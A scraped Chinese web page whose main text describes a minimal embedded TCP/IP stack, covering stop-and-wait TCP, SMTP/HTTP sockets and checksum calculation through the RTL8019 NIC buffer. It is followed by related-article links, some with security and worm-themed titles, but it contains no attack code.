系统设计主程序流程如图1。当IP包头有选项或存在分片时,此包被简单丢弃而不处理。TCP能同时打开两个连接,连接1用于SMTP(套接字用Bank 3,TCBI_BANK),连接2用于HTTP(套接字用Bank 4,TCB2_BANK)。TCP不使用滑动窗口的流量控制,发送时每发一个分组就停下来等待确认。程序中发送的数据长度放在变量Tcp2Un-AckMSB、Tcp2UnAckLSB中。在接收模块TcpProcPktln中只有接收到Ack包后才复位这两个变量;而发送模块Tcp・Transmit中只有这两个变量为零才允许发送下一段数据,否则检查Tcp2TimeMSB是否超时;如是则重发。TCP接收模块TcpProcPktln检查端口号及32序列号是否与套接字内的相符,如不符则可能是收到重发的包,TCP简单地发Ack的.空包并丢弃本包;否则处理本包数据同时清除上次发送数据长度变量Tcp2UnAckMSB、Tcp2UnAckLSB,以便在TcpTransmit中能发送下一段数据。

子模块TcpAppTxBytes、TcpAppRxData是TCP处理发送及接收数据的模块。用户如不变更原TCP/IP的精简设计,只要修改这两个模块就能实现自己特定的应用功能。

16位校验和Checksum的计算对于很少或没有数据缓冲的系统来说并不容易,一般有两种方法处理。一是在TCP头的检验和域放任意一个16位数,数据发送的同时计算Checksum,然后在数据最后附加2个字节以保证之前任意取值的正确。这种方法的缺点是要让接收的应用程序忽略最后2个字节的数据,可能导致许多程序的运行异常。二是先对产生的数据计算Checksum,但不发送,然后再产生同样的数据加上正确的校验和发送。显然要求系统产生重复的数据有时是不现实的,利用网卡芯片8019的缓冲可以解决这一问题,将数据写入8019的同时计算Checksum,最后将Checksum写入8019后调用NicSendTxFrame才真正发送数据。

基于Web 的远程教育系统的实现

浅谈用delphi来编写蠕虫病毒

计算机病毒的起源和发展探析论文

计算机病毒的预防论文

防御网络威胁十要素

加强Windows安全性

网络安全试题

B2B与B2C性之间的6大区别

菜鸟课堂:合理构筑安全防线 软件防火墙使用

电子商务支付手段安全性分析

一个web蠕虫的简单实现
《一个web蠕虫的简单实现.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

【一个web蠕虫的简单实现(精选5篇)】相关文章:

隐蔽战线历史体会2023-01-31

瑞星个人防火墙修复Windows系统漏洞教程2023-05-29

杀毒软件的个人建议书2022-04-29

解析Cisco三层交换机堆栈连接疑问2023-07-12

linux当mysql以root权限登录时提权网站安全2023-08-17

网络防火墙功夫深入到第七层2022-09-25

用vfp编写Web Service2023-08-25

教你如何一招把病毒木马全部拒之门外病毒防范2022-07-01

简历详述范文2022-10-13

计算机网络管理与维护论文2022-06-25

点击下载本文文档